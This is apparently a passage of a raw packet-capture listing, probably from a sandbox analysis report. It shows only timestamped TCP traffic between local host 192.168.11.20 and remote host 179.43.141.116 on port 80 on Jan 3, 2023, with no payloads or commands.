                                                                              Jan 3, 2023 08:16:06.029118061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029160023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029169083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029217958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029270887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029331923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029351950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029383898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029437065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029480934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029499054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029534101 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029551983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029604912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029642105 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029665947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029717922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029771090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029810905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029831886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029875994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.029886007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029938936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.029999018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030018091 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030051947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030097008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030106068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030168056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030220032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030234098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030272961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030307055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030342102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030405045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030442953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030544996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030592918 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.030625105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.030780077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.116410017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.116482019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.116512060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.116538048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.116660118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.116697073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.116782904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117003918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117038012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117063999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117090940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117120981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117147923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117173910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117198944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117223024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117224932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117223024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117250919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117264032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117278099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117309093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117335081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117341995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117341995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117361069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117387056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117455006 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117486954 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117532969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117568016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117589951 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117615938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117772102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.117829084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117862940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117888927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117914915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117940903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117964029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.117990971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118016958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118041992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118056059 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118067980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118093967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118105888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118119001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118148088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118175030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118201017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118211985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118211985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118230104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118256092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118280888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118305922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118318081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118318081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118325949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118351936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118379116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118407011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118417025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118417025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118433952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118458986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118489981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118500948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118511915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118521929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118535042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118546009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118556976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118557930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118566990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118577957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118587971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118622065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118629932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118633986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118644953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118655920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118666887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118678093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118689060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118700027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118701935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118710995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118721962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118732929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118743896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118750095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118755102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118767023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118777037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118788004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118798971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118944883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.118948936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118951082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118952036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118952036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118952990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118952990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118953943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118953943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118954897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118956089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118956089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118957043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118957043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118957996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118963003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118974924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118985891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.118997097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119008064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119019032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119023085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119102001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119119883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119122028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119122028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119122982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119122982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119123936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119123936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119124889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119136095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119147062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119157076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119167089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119169950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119178057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119189024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119199038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119209051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119220018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119230032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119240999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119251013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119261980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119268894 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119272947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119350910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119350910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119360924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119371891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119383097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119393110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119398117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119398117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119398117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119404078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119446993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119474888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119484901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119496107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119496107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119496107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119505882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119517088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119527102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119538069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119544983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119544983 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119548082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119559050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119570017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119580030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119590998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119595051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119595051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119595051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119601011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119611979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119622946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119637966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119693041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119693041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119693041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.119852066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119864941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119875908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119887114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119896889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119908094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119918108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119929075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119939089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119950056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119961023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119972944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119982958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.119993925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120004892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120014906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120026112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120035887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120047092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120058060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120069027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120079994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.120449066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120449066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120449066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120449066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.120497942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.123400927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.123634100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.203685045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.203778982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.203793049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204010963 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.204745054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204857111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204870939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204890966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204902887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204916000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.204916000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.204999924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205040932 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205364943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205482960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205537081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205540895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205557108 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205569029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205590963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205601931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205612898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205634117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205643892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205653906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205653906 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205657005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205672979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205691099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205702066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205702066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205718040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205738068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205749035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205750942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205765009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205799103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205801010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205801010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205816031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205842018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205847979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205857992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205872059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205893040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205907106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205919027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205929995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205941916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205946922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205946922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205957890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205971003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.205996037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.205996037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.206044912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.206044912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.206044912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207437038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207542896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207600117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207606077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207616091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207640886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207653046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207664967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207678080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207699060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207710981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207715034 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207715034 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.207730055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207750082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207762003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.207762003 CET4986980192.168.11.20179.43.141.116
